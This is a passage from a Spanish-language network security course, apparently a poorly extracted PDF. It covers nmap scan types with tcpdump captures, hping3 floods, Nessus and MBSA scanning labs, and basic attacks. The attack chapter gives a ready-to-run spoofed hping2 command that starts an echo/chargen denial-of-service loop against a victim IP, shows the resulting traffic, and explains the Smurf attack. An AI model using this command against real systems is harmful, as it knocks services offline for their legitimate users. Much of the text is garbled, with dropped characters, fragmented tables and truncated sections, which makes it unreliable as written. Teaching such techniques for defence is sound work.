Iniciar un sniffer (por ejemplo, TCPdump, Snort o Ethereal) para que capture los paquetes TCP que circulan
a travs de la interface loopback de la mquina local. A continuacin, haga la exploracin de un puerto
(slo uno) TCP donde tenga un servicio funcionando y la exploracin de otro puerto donde sepa que no hay
ningn servicio funcionando, mediante las siguientes tcnicas de exploracin.
1)
2)
3)
4)
5)
TCP
TCP
TCP
TCP
TCP
connect scan
SYN scan
FIN scan
Xmas Tree Scan
Null Scan
La opcion i indica La interface de red, lo indica la interface de red loopback que siempre apunta a La
direccion 127.0.0.1, la opcion l indica listen o estar em modo escucha para todo paquete que pase por la
interface de red.
Ahora en otra consola de comandos, pasamos a realizar las pruebas con la primera tcnica de exploracin:
-P0
-v
-p 80
127.0.0.1
Resultado de la captura:
# nmap -sT -P0 -v -p 80 127.0.0.1
102
STATE
SERVICE
open
http
16:02:03.067972
IP
Knoppix.56449
>
Uoc.globalteksecurity.com.http:
S2616774457:2616774457(0)
win32767
<mss
16396,sackOK,timestamp
6518228
0,nop,wscale 2>
En la primera lnea se muestra el trafico desde el Puerto 56449 del cliente hacia el Puerto 80 del servidor, la
letra S indica el paquete SYN donde el cliente inicia la sesin.
16:02:03.203523
IP
Uoc.globalteksecurity.com.http
>
Knoppix.56449:
S
2604319142:2604319142(0) ack2616774458 win 32767 <mss 16396,sackOK,timestamp
6518229 6518228,nop,wscale 2>
La lnea anterior muestra trafico desde el Puerto 80 del servidor hacia el Puerto 56449 del cliente, las letras
ACK indican que el servidor recibi el paquete que el cliente le envio.
Para la tcnica de exploracin TCP connect scan nmap esta trata de establecer una conexin TCP
completa, implementa el protocolo de tres fases para crear una sesin verdadera. Si dicha sesin se
completa nmap pasa a anotar el puerto como abierto. Para el caso nuestro el puerto 80 aparece
como abierto.
103
Por Ultimo nmap manda un paquete de tipo RESET y ACK para que el servidor deshaga la pila de
conexiones para la conexin en curso y as evitar una denegacin de servicio en la maquina. La
maquina dejara la conexin como pendiente de procesar si no recibe un Reset + ACK del cliente.
Parmetros:
-sT
-P0
-v
104
puerto esta cerrado, es decir no existe un servicio para ese puerto en el servidor. Entonces nmap marcara el
puerto como cerrado. Para nuestro caso el puerto 25 aparece como cerrado.
5.3.2
-P0
-v
-p 443
127.0.0.1
Knoppix.58039:
2142122049:2142122049(0)
ack
La lnea anterior muestra trfico desde el puerto 443 del servidor web hacia el puerto 58039 del cliente
nmap, las letras S (SYN) y ACK indican que el servidor tiene el puerto abierto
17:02:31.234857 IP Knoppix.58039 > Knoppix.https: R 3738099382:3738099382(0) win 0
La lnea anterior muestra trfico desde el puerto 58039 del cliente nmap hacia el puerto 443 del servidor, la
letra R o RESET indican que el cliente cierra la comunicacin para que el servidor no registre la exploracin
como una sesin verdadera.
105
En la tcnica TCP SYN no se establece una conexin TCP completa, es decir no se implementa el protocolo
de tres fases para crear una sesin verdadera. Nmap nicamente enva al servidor un paquete de tipo SYN,
si el servidor le responde a nmap con un SYN + ACK entonces el puerto ser marcado por nmap como
abierto. En este caso el puerto 443 se marca como abierto. Pero si en cambio recibe un paquete de tipo
RESET + ACK significa que no existe ningn servicio que escuche por el puerto que se eligi explorar. En
este ejemplo el puerto esta abierto.
-P0
-v
-p 110
127.0.0.1
106
Esta tcnica TCP SYN nmap no realiza una conexin TCP completa, o sea no implementa el protocolo de
tres fases para crear una sesin verdadera. Nmap solo manda al servidor un paquete de tipo SYN, si el
servidor le responde a nmap con un SYN + ACK entonces el puerto es marcado por como abierto. Si en
cambio recibe un paquete de tipo RESET + ACK significa que no existe ningn servicio que escuche por el
puerto explorado. En nuestro caso el puerto 110 esta marcado como cerrado.
5.3.3
-P0
-v
-p 22
127.0.0.1
107
-P0
-v
-p 88
127.0.0.1
108
FIN, si el servidor le responde a nmap con un reset o RST entonces el puerto es marcado por nmap como
cerrado, si nmap no recibe respuesta del servidor se asume que esta abierto. En nuestro caso el puerto 53
se marca como cerrado debido a que nmap recibi como respuesta RST + ACK. Esta tcnica es
implementada en la pila TCP/IP de Unix/Linux.
-P0
-v
-p 80
127.0.0.1
>
Uoc.globalteksecurity.com.http:
FP
La lnea anterior muestra trafico desde el puerto 36655 del cliente nmap hacia el puerto 80 del servidor, la
letra FP indica el paquete de tipo FIN+PUSH y URG que enva nmap al servidor para probar el puerto
03:04:07.817172
IP
Knoppix.36656
3608233073:3608233073(0) win 4096 urg 0
>
Uoc.globalteksecurity.com.http:
FP
La lnea anterior muestra trafico desde el puerto 36656 del cliente nmap hacia el puerto 80 del servidor, la
letra FP indica el paquete de tipo FIN+PUSH y URG que enva nmap al servidor para probar el puerto. El
cliente nmap no recibe tramas desde la maquina
Conclusin del Resultado nmap:
109
Para la tcnica TCP Xmas Tree scan nmap al igual que en la tcnica TCP Fin scan no establece una
conexin TCP completa, o sea no implementa el protocolo de tres fases para crear una sesin verdadera.
Nmap solo enva al servidor tres paquetes que son: FIN+URG y PUSH, si el servidor le responde a nmap con
un reset o RST entonces el puerto ser marcado por nmap como cerrado, si nmap no recibe respuesta del
servidor se asume que esta abierto. En este caso el puerto 80 se marca como abierto o filtrado y obviamente
nmap nunca recibi respuesta. Esta tcnica es implementada en la pila TCP/IP de Unix/Linux.
-P0
-v
-p 8080
127.0.0.1
# tcpdump -i lo
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on lo, link-type EN10MB
(Ethernet), capture size 96 bytes
03:23:08.492225 IP Knoppix.45023 > Knoppix.webcache: FP 1332477041:1332477041(0) win
4096 urg 0
La lnea anterior muestra trafico desde el puerto 45023 del cliente nmap hacia el puerto 8080 del servidor, la
letra FP indica los paquetes de tipo FIN+PUSH y URG que enva nmap al servidor para probar el puerto.
03:23:08.497566 IP Knoppix.webcache > Knoppix.45023: R 0:0(0) ack 1332477042 win 0
La lnea anterior muestra trafico desde el puerto 8080 del servidor hacia el puerto 45023 del cliente, la letra
R o RESET + ACK indican que el servidor no tiene el servicio habilitado sobre ese puerto.
Conclusin del Resultado nmap:
110
En esta tcnica TCP Xmas Tree scan del mismo modo que en la tcnica TCP Fin scan no establece una
conexin TCP completa, o sea no implementa el protocolo de tres fases para crear una sesin verdadera.
Nmap solo enva al servidor tres paquetes que son: FIN+URG y PUSH, si la maquina le responde a nmap con
un reset o RST entonces el puerto ser marcado por nmap como cerrado, si nmap no recibe respuesta de la
maquina se asume que esta abierto o filtrado. En este caso el puerto 8080 se marca como cerrado pues
nmap recibi un paquete Reset + ACK. Esta tcnica es implementada en la pila TCP/IP de Unix/Linux.
5.3.5
-P0
-v
111
En esta tcnica TCP Null scan nmap no se establece una conexin TCP completa, o sea no implementa el
protocolo de tres fases para crear una sesin verdadera. Nmap coloca en ceros todos los indicadores de la
cabecera TCP y la manda al servidor, si la maquina responde a nmap con un reset o RST entonces el puerto
es marcado como cerrado, si nmap no recibe respuesta del servidor se da por echo que esta abierto o
filtrado. En este caso el puerto 22 se marca como abierto y concluyendo que nmap nunca recibi respuesta.
112
puerto es marcado por nmap como cerrado, si nmap no recibe respuesta del servidor se asume que esta
abierto. Para nuestro caso el puerto 21 se marca como cerrado.
5.3.6
Haga captura de paquetes con tcpdump con el servicio web activado y sin activar, para cada item analice sus
respuestas:
# hping3 localhost -UAPRSF p 80 i u1000000, para 1 paquete por segundo
# hping3 localhost -UAPRSF p 80 -i u500000, para 2 paquetes por segundo
# hping3 localhost -UAPRSF p 80 -i u333333, para 3 paquetes por segundo
6.0
Que hace la herramienta tcpdump -i any host 172.16.1.14 and host 172.16.1.15 -s0 -w
/home/login/authissue.pcap? Suponga que la IP 172.16.1.14 es un PC Windows XP y la IP 172.16.1.15 es un
servidor Microsoft Active Directory donde los usuarios solo pueden autenticarse desde diferentes IP a la
172.16.1.14.
7.0
Bibliografa relacionada
Cualquier versin de Linux con el software instalado de nmap incluye el comando man nmap, esta
es la forma mas detallada de las diferentes opciones del comando y como usarlo en el diagnostico
de problemas en la red
113
114
Captulo 3
Anlisis de Vulnerabilidades de red
Objetivos:
Define CVE
1.1
115
1.2
Vulnerabilidades
Vulnerabilidades
Vulnerabilidades
Vulnerabilidades
Vulnerabilidades
Vulnerabilidades
Vulnerabilidades
Vulnerabilidades
Vulnerabilidades
de
de
de
de
de
de
de
de
de
desbordamiento de buffer.
condicin de carrera (race condition).
error de formato de cadena (format string bugs).
Cross Site Scripting (XSS).
Inyeccin SQL.
Inyeccin de Caracteres (CRLF).
denegacin del servicio
Inyeccin mltiple HTML (Multiple HTML Injection).
ventanas engaosas o mistificacin de ventanas (Window Spoofing).
Si se revisa nuevamente la anterior definicin, una vulnerabilidad representa entonces una falla del sistema
informtico o programa y el exploit se aprovecha de la vulnerabilidad, la vulnerabilidad hace que el riesgo
aumente hasta convertirse en una amenaza, la falla del sistema informtico o vulnerabilidad puede ser
aprovechada por un intruso para obtener el control en forma remota o local de los recursos del sistema.
Un exploit que se aprovecha de una vulnerabilidad, fundamentalmente afecta la variable confidencialidad,
pero se puede extender a la variable integridad si modifica el recurso informtico, ahora si el intruso quiere
hacer ms dao, puede afectar la variable disponibilidad del sistema, por ejemplo un ataque a una
vulnerabilidad de buffer overflow impactara las 3 variables del sistema de seguridad:
Confidencialidad
Integridad y
Disponibilidad
Importante
Cuando no exista una solucin conocida para una vulnerabilidad, pero si se conoce como explotarla,
entonces se le conoce como vulnerabilidades 0 days.
El abogado Carlos Santiago lvarez Cabrera en su artculo Honeypots Aspectos penales, Colombia,
Diciembre de 2005, http://cyberlaws.blogspot.com, concluye respecto de las vulnerabilidades, que: La
velocidad de los ataques esta en constante incremento debido a los 0 days vulnerabilityes
1.3
116
117
1.4
Problemtica especifica
1.4.1
1.4.2
Si se anuncia una nueva vulnerabilidad hoy, cual es su proceso actual para proteger la
red?
2.0
Antecedentes
Antecedentes
Generalmente
se tienen medidas
reactivas contra los ataques, se crean
trampas para el momento en que se
produce un ataque y adems se dispone
de herramientas para capturar el trfico
que pasa por un segmento de red
118
2.1
http://www.securityfocus.com/
http://www.osvdb.org/
2.3
http://secunia.com/
119
2.4
http://www.kb.cert.org/vuls/
3.0
Solucin aproximada
3.1
En general
3.2
120
Descubrimiento y valoracin de activos: Debe estar en capacidad de descubrir los activos o recursos
informticos para su valorizacin o clasificacin segn la criticidad del negocio
Anlisis de vulnerabilidades: Debe hacer exploracin de vulnerabilidades en forma programada
segn las necesidades del anlisis de riesgos
Remediacin: Debe proveer informacin para la remediacin de las vulnerabilidades encontradas y
alimentar un sistema de seguimiento basado en numero de casos
Indicadores de gestin: Debe generar reportes del nivel del riesgo y de cuanto hace falta para
cumplir el estndar internacional de seguridad ISO IEC 17799 o ISO IEC 27001
Desempeo: La herramienta debe hacer un uso eficiente del ancho de banda
4.0
Herramientas ms conocidas
4.1
Contextualizacin
Los sistemas operativos cada vez son ms especializados y es muy probable encontrar un servidor Linux
como servidor web pero es ms probable encontrar Windows XP como estacin de trabajo cliente en los
usuarios finales. Ahora es muy probable encontrar un servidor Windows 2003 como servidor de archivos,
impresoras y archivos, pero poco probable encontrar un Unix haciendo esas funciones.
Esto no quiere decir que uno es menor que otro, quiere decir que cada uno tiene caractersticas deseables
para hacer una tarea especifica, cada sistema es especializado para ciertos servicios.
Ahora las vulnerabilidades por errores de programacin e implementacin son diferentes en cada plataforma,
la solucin a los desbordamientos de memoria o buffers Overflows son diferentes en cada plataforma, y de
hecho hay servicios particulares de gestin de bases de datos que son particulares a un sistema operativo,
por ejemplo MS SQL Server es especifico a Microsoft, es impensable encontrar este motor de gestin en un
servidor Unix BSD o Linux.
Por lo tanto existen herramientas en el mercado especializadas dependiendo de la plataforma del sistema
operativo:
Para hacer este anlisis de vulnerabilidades sobre servidores Linux y Unix es de suma utilidad el programa
Nessus, en cambio para buscar las vulnerabilidades de los servidores y PC de escritorio MS Windows, se
debe usar de preferencia Microsoft Baseline Security Analyzer.
4.2
Nessus presenta una arquitectura modular, cliente-servidor cuyos origines vienen de Opensource,
hoy es una herramienta comercial que dispone de una base de datos de patrones de ataques para lanzar
contra una mquina o conjunto de mquinas con el objetivo de localizar sus vulnerabilidades.
121
4.3
Limitantes de Nessus
Es una herramienta comercial de origen Opensource, evala los sistemas operativos basado en los
plugins
Crece y escala por los plugins
Hace uso eficiente del ancho de banda
No hace cumplimiento de polticas
No hay remediacin de vulnerabilidades
No hay inventario de recursos informticos
No hay seguimiento basado en tickets
No muestra cuanto hace falta para llegar a la norma
No tiene exploits para comprobar las fallas
4.4
Microsoft Baseline Security Analyzer, o MBSA es una herramienta que permite a los usuarios
y administradores de sistemas Windows verificar la configuracin de seguridad, detectando los posibles
problemas de seguridad en el sistema operativo y los diversos componentes instalados.
MBSA ha sido diseado para analizar las mquinas que utilizan los sistemas operativos Microsoft Windows
NT 4, Windows 2000, 2003, Windows XP (Professional y Home Edition) para determinar la presencia de los
ltimos parches de seguridad pblicados y, adicionalmente, verificar la configuracin de los diversos
componentes para determinar la posible presencia de configuraciones errneas que pueden provocar brechas
en la seguridad.
4.5
Limitantes de MBSA
122
5.0
Que tipo de precauciones deben tomarse con las herramientas de exploracin de
vulnerabilidades
6.0
Se recomienda poner banners que informen al intruso sobre las polticas de no hacer scanner a
nuestros servicios
Si ya hay logs que nos indiquen que se estn haciendo scaners a nuestros servicios se podra poner
un detector de scaneers como portsentry, courtney, icmpinfo y scan-detector por ejemplo
El Administrador de la red
Los asesores externos en seguridad informtica que estn autorizados por la organizacin
El grupo de investigacin forense encargado de los honeypots de la organizacin
Es recomendable automatizar la ejecucin de estas herramientas as como el envo de los reportes
generados
7.0
Como ayudan
vulnerabilidades
8.0
resultados
obtenidos
por
las
herramientas
de
exploracin
de
Los reportes que generan las herramientas son tan detallados que nos indican exactamente como
arreglar las vulnerabilidades de nuestros sistemas crticos del negocio
Segn las necesidades se debera ejecutar con frecuencia en nuestra red por lo menos cada semana
para buscar vulnerabilidades y detectarlas antes de que los intrusos lo hagan por nosotros
Quien debe leer esos reportes dentro de la organizacin
9.0
los
La direccin de informtica, la direccin de riesgos, auditoria: La alta gerencia debe estar informada
para generarles conciencia sobre el hecho de que los recursos informticos si impactan al negocio al
ser accionados los exploits respectivos que ya son de conocimiento publico
Productos Comerciales
Existe la tendencia de usar el motor de anlisis de vulnerabilidades nessus por su riqueza en caractersticas
y bajo costo, adems del soporte a la extensibilidad y escalabilidad por medio de plugins o componentes que
amplan las caractersticas de nessus.
Una derivacin GNU o libre de nessus que esta creciendo se llama Open VAS y se puede descargar del sitio
www.openvas.org
Algunos productos importantes que usan este motor para el anlisis de vulnerabilidades son Catbird (c)
(www.catbird.com):
9.1
Catbird (c) es muy fuerte pues usa un portal para la gestin centralizada de las vulnerabilidades,
analiza externamente e internamente la red teniendo en cuenta los accesos inalmbricos. Adems hace
monitoreo de servicios de red como el DNS y la disponibilidad de los portales web de las organizaciones.
123
124
10.0
Laboratorios
10.1
Se recomienda usar una maquina virtual para emular los diferentes sistemas operativos, es recomendable el
backtrack para el servidor linux y una maquina virtual para un servidor windows.
Antes de empezar con cualquier prueba es importante remarcar que la actividad de la herramienta nessus
para exploracin de vulnerabilidades se considera un ataque contra la mquina objetivo, y como tal nunca
debe hacerse sin previo permiso del administrador del sistema implicado.
Nos planteamos ahora ver cul es el estado de la seguridad de nuestra mquina virtual windows y linux.
Prerrequisitos:
Pasos:
Descargue la ltima version del software nessus para su sistema operativo windows
Instale el software
125
Revise que en su buzon de correo este la licencia y diligencie esa informacion requerida en Nessus
Server Manager
El sistema le informar que esta descargando los plugins o base de datos de patrones de ataques
para hacer analisis de vulnerabilidades de red. Este paso durar en promedio una hora.
126
Ahora por la opcion "Manage users..." cree un usuario para utilizar el software via web por ejemplo
creen el usuario con nombre "administrador" con perfil de administracin.
127
Una vez hecho esto se debe hacer la busqueda de puertos presionando la tecla "Launch scan"
Para saber el estado de la tarea presione el boton "Browse"
128
El auditor debe concentrarse en las fallas mas graves y estas aparecen en color rojo en los informes
emitidos por las herramientas, por ejemplo:
MS03-026: Microsoft RPC Interface Buffer Overrun (823980)
Synopsis:
Arbitrary code can be executed on the remote host.
Description:
The remote version of Windows contains a flaw in the function RemoteActivation() in
its RPC interface which may allow an attacker to execute arbitrary code on the remote
host with the SYSTEM privileges. A series of worms (Blaster) are known to exploit this
vulnerability in the wild.
Risk factor:
Critical
CVSS Base Score:10.0
CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C
Solution:
http://www.microsoft.com/technet/security/bulletin/MS03-026.mspx
Plugin ID:
11808
CVE:
CVE-2003-0352
BID:
8205
Other references:
OSVDB:2100, IAVA:2003-A-0011
Severidad
Web(80)
Hueco
seguridad
Descripcin
Factor
riesgo
129
de
Puerto
Severidad
Descripcin
Factor
riesgo
Web(80)
Warning
Alto
Ssh(22)
Hueco
seguridad
Netbiosssn(139)
Hueco
seguridad
de
Este es una parte del archivo del reporte para leer en nessus:
timestamps|||scan_start|Fri Jan 27 12:05:31 2006|
timestamps||127.0.0.1|host_start|Fri Jan 27 12:05:31 2006|
results|127.0.0|127.0.0.1|sunrpc (111/tcp)|10223|Security Note|\nThe RPC portmapper is running on this
port.\n\nAn attacker may use it to enumerate your list\nof RPC services. We recommend you filter
traffic\ngoing to this port.\n\nRisk factor : Low\nCVE : CAN-1999-0632, CVE-1999-0189\nBID : 205\n
results|127.0.0|127.0.0.1|microsoft-ds (445/tcp)|11011|Security Note|A CIFS server is running on this
port\n
results|127.0.0|127.0.0.1|netbios-ssn (139/tcp)|11011|Security Note|An SMB server is running on this
port\n
130
10.2
Se debe hacer exploracin de vulnerabilidades a un servidor Windows ultima versin y es deseable que el
servidor Windows este con suplementos a la fecha.
Se recomienda usar una maquina virtual para emular los diferentes sistemas operativos.
Prerrequisitos: Instalar la herramienta MBSA (Microsoft Baseline Security Analyzer) en la mquina
virtual Windows.
Se puede descargar desde la siguiente URL:
http://www.microsoft.com/technet/security/tools/mbsa2/default.mspx
Paso 1: Ejecute MBSA localmente y comente tanto el funcionamiento de la herramienta como el resultado
obtenido. Note que la herramienta indica los posibles errores y agujeros de seguridad del servidor y en la
mayora de los casos indica cmo solucionarlos. Observe que no se limita a la seguridad del sistema
operativo, sino que adems busca vulnerabilidades en otras aplicaciones servidor de Microsoft como IIS o
SQL.
Se inicia el programa MBSA y se debe diligenciar el campo de la maquina a explorar, para este caso es la
maquina local.
Ahora se da inicio a la exploracin de vulnerabilidades haciendo click en la opcin Start scan:
Al terminar genera un reporte que se muestra en pantalla as:
131
Revisemos los estados de las diferentes alertas o avisos que genera el reporte:
Figura 3-17: Datos del IP explorado por Microsft Baseline Security Analyzer
Figura 3-18: Enumeracin de usuarios encontrado por Microsft Baseline Security Analyzer
En esta parte de vulnerabilidades administrativas en nuestro primer dato nos indica que hay una falla critica
referente a restringir annimos, nos indica que Windows esta corriendo en un nivel cero (0) y que lo correcto
debera ser un nivel dos (2).
132
Figura 3-19: Cuentas de usuarios que no expiran encontrado por Microsft Baseline Security Analyzer
En esta parte de expiracin de claves nos indica que existen de 2 a 7 claves que no tienen configurado
tiempo de expiracin y nos lista los usuarios que en nuestro caso son cinco, y es una falla no critica.
Figura 3-20: Configuracin de actualizaciones no activada encontrado por Microsft Baseline Security Analyzer
Aqu nos indica que Windows no tiene configurado la parte de actualizaciones automticas y nos indica que
por panel de control podemos habilitarlo, y es una falla no crtica.
Figura 3-21: Configuracin de firewall no activada encontrado por Microsft Baseline Security Analyzer
En esta parte nos indica que Windows no tiene un firewall instalado o que tiene una versin que no soporta,
y recomienda implementar un firewall dentro del servidor.
Figura 3-22: Actualizaciones incompletas no encontradas por Microsft Baseline Security Analyzer
Aqu en actualizaciones incompletas nos indica que no encontr ninguna instalacin de actualizaciones
incompleta.
Figura 3-23: Cuentas de usuarios sin claves encontrado por Microsft Baseline Security Analyzer
En esta prueba de cuentas locales, las 7 cuentas pasaron la prueba y muestran la seal que paso la revisin.
Figura 3-24: Busqueda de sistemas de archivos inseguros encontrado por Microsft Baseline Security Analyzer
Aqu nos indica en la parte de File System que los discos estn usando NTFS y que esto es correcto.
Figura 3-25: Configuracin de cuenta de inivtado encontrado por Microsft Baseline Security Analyzer
133
En esta parte de cuentas de invitados me indica que esta opcin esta deshabilitada en Windows y que esto
es correcto.
Figura 3-26: Configuracin de cuenta para autenticarse en forma automtica encontrado por Microsft
Baseline Security Analyzer
Aqu me indica que la parte de autologon en Windows no esta configurada y que esto es correcto.
Figura 3-27: Configuracin de cuenta administradores encontrado por Microsft Baseline Security Analyzer
En la parte de administradores me indica que no hay ms de 2 cuentas administradoras y por consiguiente
es correcto.
Figura 3-28: Version del sistema operativo encontrado por Microsft Baseline Security Analyzer
En esta seccin de Informacin adicional del sistema, el primer tem nos indica a modo de informacin que el
sistema operativo es Windows 2000 o superior.
Figura 3-29: Estado de la Auditora para eventos de entrada y salida de usuarios encontrado por Microsft
Baseline Security Analyzer
En esta parte de auditoria recomiendan habilitarla, para verificar los logs que se generen mediante el
monitor de eventos y as poder controlar accesos indebidos.
Figura 3-30: Recursos compartidos encontrado por Microsft Baseline Security Analyzer
En este item de compartir, ha manera de informacin nos indica que hay dos directorios que Windows esta
compartiendo.
Figura 3-31: Servicios que no son necesarios encontrado por Microsft Baseline Security Analyzer
En la parte de servicios recomienda que los cuatro servicios que lista son innecesarios y por consiguiente
seria bueno deshabilitarlos.
134
Figura 3-32: Aplicaciones de servidor web vulnerables encontrado por Microsft Baseline Security Analyzer
En esta seccin de administracin de vulnerabilidades, el item de ejemplos de aplicaciones, nos dice que
algunos ejemplos de aplicaciones de IIS se encuentran instalados y toma esto como una falla critica.
Figura 3-33: Directorios de las aplicaciones web inseguras encontrado por Microsft Baseline Security
Analyzer
Aqu nos indica que algunas rutas de alta jerarqua estn habilitadas en algunos sitios web o directorios
virtuales, y nos muestra un listado de dichos sitios. Por consiguiente esto lo toma como una falla critica.
135
En este tem de Administracin de directorios virtuales de IIS, nos indica que el directorio virtual
IISADMPWD no esta presente y cataloga esto como correcto.
Paso 2: Ejecutar la aplicacin contra la mquina virtual Linux o cualquier otra mquina Linux y comentar el
resultado.
Pasamos a ejecutar la aplicacin a nuestro servidor Linux 192.168.3.7
136
137
11.0
11.1
11.2
11.3
Defina exploit?
11.4
Defina openvas?
Open Source penetration testing and security professional double CD, Syngress Publishing, Jay
Beale, 2006
Nessus, snort and ethereal power tools, Neil Archibald, Gilbert Ramirez, Noam Rathaus, and Josh
Burke, 2005
138
Captulo 4
Tcnicas bsicas de ataques
Objetivos:
1.0
Un ataque de denegacin de servicio es un incidente en el cual un usuario o una organizacin son privados
de los servicios de un recurso que esperaba obtener. Se dene Denegacion de Servicio o ataque DoS
como la imposibilidad de acceder a un recurso o servicio por parte de un usuario legtimo. Es decir, la
apropiacin exclusiva de un recurso o servicio con la intencin de evitar cualquier acceso a terceras partes.
Los ataques de denegacin de servicio pueden ser provocados por usuarios internos y usuarios externos, los
usuarios internos generalmente son usuarios con pocos conocimientos que pueden colapsar el sistema o
servicio en forma inconsciente. Los usuarios externos generalmente son usuarios que han conseguido acceso
al sistema de forma ilegtima, falseando la direccin de origen con el propsito de evitar la deteccin.
Es increble la cantidad de cdigo fuente existente en Internet que puede ser usado para profundizar
acadmicamente en el tema de la negacin de servicios y en general en la inseguridad informtica por
ejemplo:
1.1
http://excluded.wgv.at/index2.php
http://www.metasploit.org/
El protocolo IP define un sistema de pruebas simple que permite verificar el funcionamiento del protocolo de
comunicaciones. El sistema proporcionado por IP se basa en el envo de un datagrama especial al
computador destino, que lo reconoce y enva una respuesta al origen (ECHO REPLY), el protocolo IP define
para estas pruebas simples un servicio para la recepcin de un datagrama UDP al puerto 7 (ECHO).
Por otro lado, existe un servicio proporcionado en muchos sistemas operativos tipo UNIX y Windows
denominado CHARGEN (CHARacter GENerator, generador de caracteres) que dada una peticin responde con
una secuencia aleatoria de caracteres.
139
Este servicio Chargen se encuentra disponible escuchando en el puerto 19 a datagramas de tipo UDP, en
sistemas Windows de tipo servidor se suele utilizar el puerto 135 (Microsoft Locator Service) para el ataque
snork.
El ataque consiste en cruzar ambos servicios enviando una peticin falsa al servicio CHARGEN (que retorna
una secuencia de caracteres pseudo-aleatoria) falseando la direccin de origen dando como puerto de
respuesta el puerto ECHO (que responde a cualquier peticin) de la mquina a atacar. De esta forma, se
inicia un juego de ping pong infinito.
Este ataque puede realizarse entre varios computadores (consumiendo ancho de banda y degradando el
rendimiento de la red) o desde un mismo computador (l mismo se enva una peticin y el mismo se
responde) consiguiendo consumir los recursos existentes (especialmente CPU y memoria) de la mquina
atacada.
1.2
1.3
1.3.1
Prerrequisitos:
En versiones antiguas de linux para habilitar los servicios echo y chargen se debe editar el archivo
/etc/inetd.conf y quitar el signo comentarios # de las lineas echo y chargen, luego se debe reiniciar el
servicio inetd con el comando /etc/init.d/inetd stop y /etc/init.d/inetd start, y se verifica con status.
Los Linux mas modernos en cambio del archivo de configuracin /etc/inetd.conf usan archivos con el nombre
del servicio y estn en el directorio /etc/xinetd.d/, en este directorio existen archivos que representan los
servicios de red, en estos archivos existe una variable llamada disable que debe ser igual a la palabra no
para habilitar el servicio, luego se debe reiniciar el servicio xinetd con el comando /etc/init.d/xinetd stop y
/etc/init.d/xinetd start.
= INTERNAL UNLISTED
= echo-dgram
= dgram
= root
140
wait
disable = no
port
FLAGS
= yes
=7
= IPv6 IPv4
= INTERNAL UNLISTED
= chargen-dgram
= dgram
= root
= yes
= 19
= IPv6 IPv4
1.3.2
Problema:
Suponga que estamos usando una mquina que se halla en una LAN con la direccin de red 10.30.0.0/16.
Usando Nmap, nos hemos percatado que hay una mquina con IP 10.30.15.15 donde est funcionando el
servicio UDP/ECHO y otra con IP 10.30.30.30 donde est funcionando el servicio UDP/CHARGEN.
1) Indique los comandos Nmap que utilizara para explorar los servicios UDP de las mquinas 10.30.15.15 y
10.30.30.30.
Respuesta:
# nmap -sU 10.30.15.15 (servicio ECHO)
Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2006-03-30 20:19 COT
Interesting ports on 10.30.15.15:
(The 1472 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
7/udp open echo
19/udp open chargen
111/udp open|filtered rpcbind
631/udp open|filtered unknown
988/udp open|filtered unknown
32768/udp open|filtered omad
Nmap finished: 1 IP address (1 host up) scanned in 1.765 seconds
141
1.3.3
Ahora Explicamos los parmetros con los que llamaramos al comando hping2 a nuestra mquina para
enviar un paquete UDP que genere el bucle infinito entre 10.30.15.15 y 10.30.30.30
PC_Lanzadera = SERVICIO ECHO = 10.30.15.15, puerto 7
Vctima = SERVICIO CHARGEN = 10.30.30.30, puerto 19
hping2 --udp --baseport 19 --destport 7 --keep -a Vctima PC_Lanzadera
Aclaremos que primero desde la maquina atacante debo enviar una peticin UDP al servicio ECHO de la
maquina Lanzadera, puerto destino (7), pero con puerto UDP fuente Chargen (19) e IP fuente de la vctima,
entonces el servicio ECHO me responder al puerto fuente Chargen (19) de la Vctima, la maquina vctima
generara los caracteres aleatorios hacia la maquina Lanzadera que a su vez le har echo hacia la vctima y
ya tenemos el loop, entonces el comando concreto seria:
hping2 --udp --baseport 19 --destport 7 --keep -a 10.30.30.30 10.30.15.15
1.3.4
Descripcin
IP del PC que se usara de lanzadera para atacar a la
vctima
IP de la vctima, campo de la IP fuente del paquete
IP, ac se hace el IP spoof
Esto indica que el protocolo que se usara es UDP
-a 10.30.30.30
--udp
--keep -a
--destport
--baseport
Puerto Fuente
1.3.5
IP
IP
IP
IP
IP
10.30.15.15.echo
10.30.15.15.echo
10.30.15.15.echo
10.30.15.15.echo
10.30.15.15.echo
>
>
>
>
>
10.30.30.30.chargen:
10.30.30.30.chargen:
10.30.30.30.chargen:
10.30.30.30.chargen:
10.30.30.30.chargen:
142
UDP,
UDP,
UDP,
UDP,
UDP,
length
length
length
length
length
0
0
0
0
0
length
length
length
length
length
length
length
length
length
length
0
0
0
0
0
0
0
0
0
0
Se puede concluir que se requieren varias mquinas para tumbar la maquina vctima.
1.3.6
Respuesta:
2.0
Si el servidor esta blindado y estos servicios no estn operativos el ataque no tendr efecto.
Si hay un firewall por delante de estos servicios que detengan el ataque entonces este ataque no
tendr efecto
Si el atacante cesa el ataque el ataque no seguir funcionando.
Ataque Smurf
El ataque "Smurf" pertenece a la familia de ataques conocidos como Denial of Services (DoS), los cuales
tienen como objetivo principal dejar fuera de servicio a la mquina que se ataca. Es una variante del ataque
IP Flooding.
"Smurf" ataca una red explotando el direccionamiento broadcast del protocolo IP. El ataque Smurf puede
causar que la parte atacada de la red se vuelva inoperable, tomando caractersticas del protocolo IP y el
protocolo de Control de Mensajes en Internet (ICMP). Un programa que implemente "Smurf" emplea otra
tcnica de hacking conocida con el nombre de IP Spoofing la cual tiene por objetivo suplantar la direccin
IP de otra mquina, en particular Smurf construye un paquete de red en el cual cambia el encabezado del
mismo colocando como direccin origen la de la mquina a atacar. El paquete contiene un mensaje ICMP
(ping) que es enviado a una direccin broadcast, o sea, a todas las direcciones IP de una red dada. Dichas
mquinas generan las respuestas del ping (echo reply) que son enviadas a la direccin de la vctima.
Suficientes pings y un buen nmero de respuestas de diferentes mquinas pueden inundar la red hacindola
inoperable.
Resumiendo, tenemos que Smurf maneja tres elementos diferentes que trabajando entre si generan el
ataque, estos son:
misma
1)
Uso
de
ICMP
(Internet
Control
Messaging
Protocol),
normalmente
de
la
manera que el ping. El propsito original de este protocolo es el de enviar y retornar mensajes de error, en
particular "ping" chequea que una mquina especfica este viva.
2) IP (Internet Protocol), el cual es usado por los usuarios para enviar cualquier paquete/mensaje en
Internet. Por ejemplo se pueden enviar paquetes a una "direccin broadcast".
3) Cambio de direccin origen, se manipula el encabezado del paquete ICMP cambiando la direccin origen
del mismo para que de esta manera las respuestas se generen hacia dicha direccin.
